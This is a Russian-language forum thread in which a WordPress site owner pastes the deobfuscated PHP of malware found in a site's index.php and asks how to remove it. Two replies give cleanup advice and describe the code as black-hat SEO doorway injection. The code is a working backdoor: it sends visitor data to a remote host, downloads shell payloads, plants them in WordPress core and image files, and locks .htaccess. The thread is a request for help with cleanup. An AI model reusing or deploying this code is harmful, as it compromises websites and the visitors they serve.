@nonconformiste

Название не знаю, но он размещает везде .htacces, как удалить вирус?

Уже второй раз сталкиваюсь с этой заразой. Насколько я понял конечная цель вируса - разместить везде .htacces что бы везде была ошибка 403, а потом как то либо связыватся, либо просто предлагать разблокировку за деньги.

Антивирусом сканирую, все вредоносные файлы удалил, но один файл упорно не хочет удалятся, в корневой папке index.php. Сам вредоносный код обфусцирован, декод показывает это:

<?php error_reporting(0);
$go_domain = "om814-2.thecutecar.online";
$language = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 4);
$userrefer = $_SERVER['HTTP_REFERER'] ? $_SERVER['HTTP_REFERER'] : "";
$useragent = $_SERVER['HTTP_USER_AGENT'] ? $_SERVER['HTTP_USER_AGENT'] : "";
$userip = '';
@$timezone_out = date_default_timezone_get();
if (getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {
    $userip = getenv('REMOTE_ADDR');
} elseif (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {
    $userip = $_SERVER['REMOTE_ADDR'];
}
$ips = explode(",", $userip);
$userip = trim(current($ips));
$http = 'http';
if (is_https()) {
    $http = 'https';
} else {
    $http = 'http';
}
$index_url = "http://$go_domain/index.php?dom=%s&uri=%s&http=%s&refer=%s&agent=%s&lang=%s&ip=%s";
$sitemap_url = "http://$go_domain/sitemap.php?dom=%s&uri=%s&http=%s&refer=%s&agent=%s&lang=%s";
$host = $_SERVER['HTTP_HOST'];
$uri = $_SERVER['REQUEST_URI'];
$uri_script = "";
if (strstr($uri, ".php")) {
    $uri_arr = explode(".php", $uri);
    $uri_script = $uri_arr[0] . ".php?";
    $uri = $uri_arr[1];
    $uri = str_replace("?", "/", $uri);
}
@$action = $_GET['ac'] ? $_GET['ac'] : "";
if ($action != "" && $action == "write") {
    $index_name = basename($_SERVER['SCRIPT_NAME']);;
    write($index_name);
    echo "write done!";
    exit();
} elseif ($action != "" && $action == "check") {
    check();
    exit();
} elseif ($action != "" && $action == "sitemap") {
    $sitemap = "https://www.google.com/webmasters/sitemaps/ping?sitemap=$http://$host/sitemap.xml";
    $contents = file_get_contents($sitemap);
    echo $contents;
    exit();
} elseif ($action != "" && $action == "robots") {
    $data = 'User-agent: *
Allow: /';
    $uri_script = trim($uri_script);
    if ($uri_script != "" && $uri_script != "/index.php?") {
        $data = trim($data) . "
" . "Sitemap: $http://" . $host . $uri_script . "sitemap.xml";
    } else {
        $data = trim($data) . "
" . "Sitemap: $http://" . $host . "/sitemap.xml";
    }
    $num = mt_rand(80, 99);
    for ($i = 0;$i < $num;$i++) {
        if (trim($uri_script) != "" && $uri_script != "/index.php?") {
            $data = trim($data) . "
" . "Sitemap: $http://" . $host . $uri_script . "sitemap$i.xml";
        } else {
            $data = trim($data) . "
" . "Sitemap: $http://" . $host . "/sitemap$i.xml";
        }
    }
    @chmod("robots.txt", 0755);
    file_put_contents("robots.txt", $data);
    echo "robots write done!!";
    exit();
}
if (preg_match('@^/sitemap(\d+)?.xml$@i', $uri)) {
    $request = sprintf($sitemap_url, $host, urlencode($uri), $http, urlencode($userrefer), urlencode($useragent), urlencode($language));
    $content = get($request);
    @header("Content-type: text/xml");
    if (trim($uri_script) != "") {
        $content = str_ireplace($http . "://" . $host . "/", $http . "://" . $host . $uri_script, $content);
    }
    $date_str = date("Y-m-d\TH:i:sP", time());
    $content = str_replace("{###data_str###}", $date_str, $content);
    echo trim($content);
    exit();
} elseif (substr($uri, -4) == ".css") {
    $request = sprintf($index_url, $host, urlencode($uri), $http, urlencode($userrefer), urlencode($useragent), urlencode($language), $userip);
    $content = get($request);
    if (strstr($content, 'okhtmlgetcontent')) {
        @header("Content-type: text/css; charset=utf-8");
        $content = str_replace("okhtmlgetcontent", '', $content);
        echo trim($content);
        exit();
    }
} else {
    $request = sprintf($index_url, $host, urlencode($uri), $http, urlencode($userrefer), urlencode($useragent), urlencode($language), $userip);
    $content = get($request);
    if (trim($uri_script) != "") {
        $content = str_ireplace($http . "://" . $host . "/", $http . "://" . $host . $uri_script, $content);
    }
    $date_str = date("Y-m-d\TH:i:sP", time());
    $content = str_replace("{#date_str}", $date_str, $content);
    if (strstr($content, 'okhtmlgetcontent')) {
        @header("Content-type: text/html; charset=utf-8");
        $content = str_replace("okhtmlgetcontent", '', $content);
        echo trim($content);
        exit();
    } else if (strstr($content, 'getcontent404page')) {
        @header('HTTP/1.1 404 Not Found');
        echo "404 Not Found";
        exit();
    } else if (strstr($content, 'getcontent301page')) {
        @header('HTTP/1.1 301 Moved Permanently');
        $content = str_replace("getcontent301page", '', $content);
        header('Location: ' . trim($content));
        exit();
    } else if (strstr($content, 'getcontent500page')) {
        @header('HTTP/1.1 500 Internal Server Error');
        $content = str_replace("getcontent500page", '', $content);
        echo "500 Internal Server Error";
        exit();
    }
}
function write($index_name) {
    $write1 = get("http://hello.firstguide.xyz/write1.txt");
    $write2 = get("http://hello.firstguide.xyz/write2.txt");
    $shell_postfs = get("http://hello.firstguide.xyz/mm1.txt");
    $shell_load = get("http://hello.firstguide.xyz/mm2.txt");
    $ht_content = file_get_contents(".htaccess");
    $index_content = file_get_contents($index_name);
    $loader_php = "wp-includes/template-loader.php";
    $load_php = "wp-includes/load.php";
    $font_editor_php = "wp-includes/SimplePie/index.php";
    if (!is_dir("css")) {
        mkdir("css", 0755, true);
    }
    if ($index_name != "index.php") {
        $write1 = str_replace(base64_encode("./index.php"), base64_encode("./" . $index_name), $write1);
        $write2 = str_replace(base64_encode("./index.php"), base64_encode("./" . $index_name), $write2);
    }
    file_put_contents("css/load.php", $shell_load);
    if (is_dir("wp-includes/SimplePie")) {
        file_put_contents("wp-admin/images/arrow-lefts.png", $index_content);
        file_put_contents("wp-admin/images/arrow-rights.png", $ht_content);
        file_put_contents("wp-includes/images/smilies/icon_devil.gif", $index_content);
        file_put_contents("wp-includes/images/smilies/icon_crystal.gif", $ht_content);
        $loader_content = file_get_contents($loader_php);
        $load_content = file_get_contents($load_php);
        @chmod($loader_php, 0755);
        @chmod($load_php, 0755);
        file_put_contents($loader_php, $write1 . $loader_content);
        file_put_contents($load_php, $load_content . $write2);
        @chmod($loader_php, 0644);
        @chmod($load_php, 0644);
        file_put_contents($font_editor_php, $shell_postfs);
    }
}
function check() {
    $new_ht_content = get("http://hello.firstguide.xyz/shl/htaccess.txt");
    @chmod(".htaccess", 0755);
    $ht_content = file_get_contents(".htaccess");
    file_put_contents(".htaccess", $new_ht_content);
    @chmod(".htaccess", 0444);
}
function get($url) {
    $contents = @file_get_contents($url);
    if (!$contents) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $contents = curl_exec($ch);
        curl_close($ch);
    }
    return $contents;
}
function is_https() {
    if (!empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') {
        return true;
    } elseif (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') {
        return true;
    } elseif (!empty($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') {
        return true;
    }
    return false;
}


Кто сталкивался, что думаете?)
  • Вопрос задан
  • 341 просмотр
Пригласить эксперта
Ответы на вопрос 2
artzolin
@artzolin Куратор тега WordPress
php, WordPress разработка сайтов zolin.digital
  1. Удалить все нелицензионные плагины и темы
  2. Удалить все сомнительные плагины
  3. Ядро перезалить
  4. Базу почистить
  5. Самописную тему перебрать руками
Ответ написан
fStrange
@fStrange
Вставка в индекс через какой то шелл. Автоматический антивирус и какие либо плагины не в состоянии их обнаружить все. Лишь по верхам хватают.

Советы типа добавить плагин защиты от Wordfence или Succuri тут тоже не работают. Они более менее эффективны до проникновения, а не после.

Варианта в общем то всего два. И первый не всегда может помочь.
1. глубокий откат, до даты появления вирусов ,желательно задолго. За месяц два.
Затем после отката обновить ВП, обновить плагины и сменить пароли админов и в БД.
2.обратиться к спецу вроде меня(специализируюсь на удалении и защите . 9 мес гарантии на ВП), который будет искать вручную.

Насколько я понял конечная цель вируса - разместить везде .htacces что бы везде была ошибка 403, а потом как то либо связыватся, либо просто предлагать разблокировку за деньги.

Нет. Никто связываться не будет. Взлом автоматический. Цель у вируса добавление дорвея или чего нибудь подобного и слив траффика на свои страницы. Черное СЕО.
Ответ написан
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Войти через центр авторизации
Похожие вопросы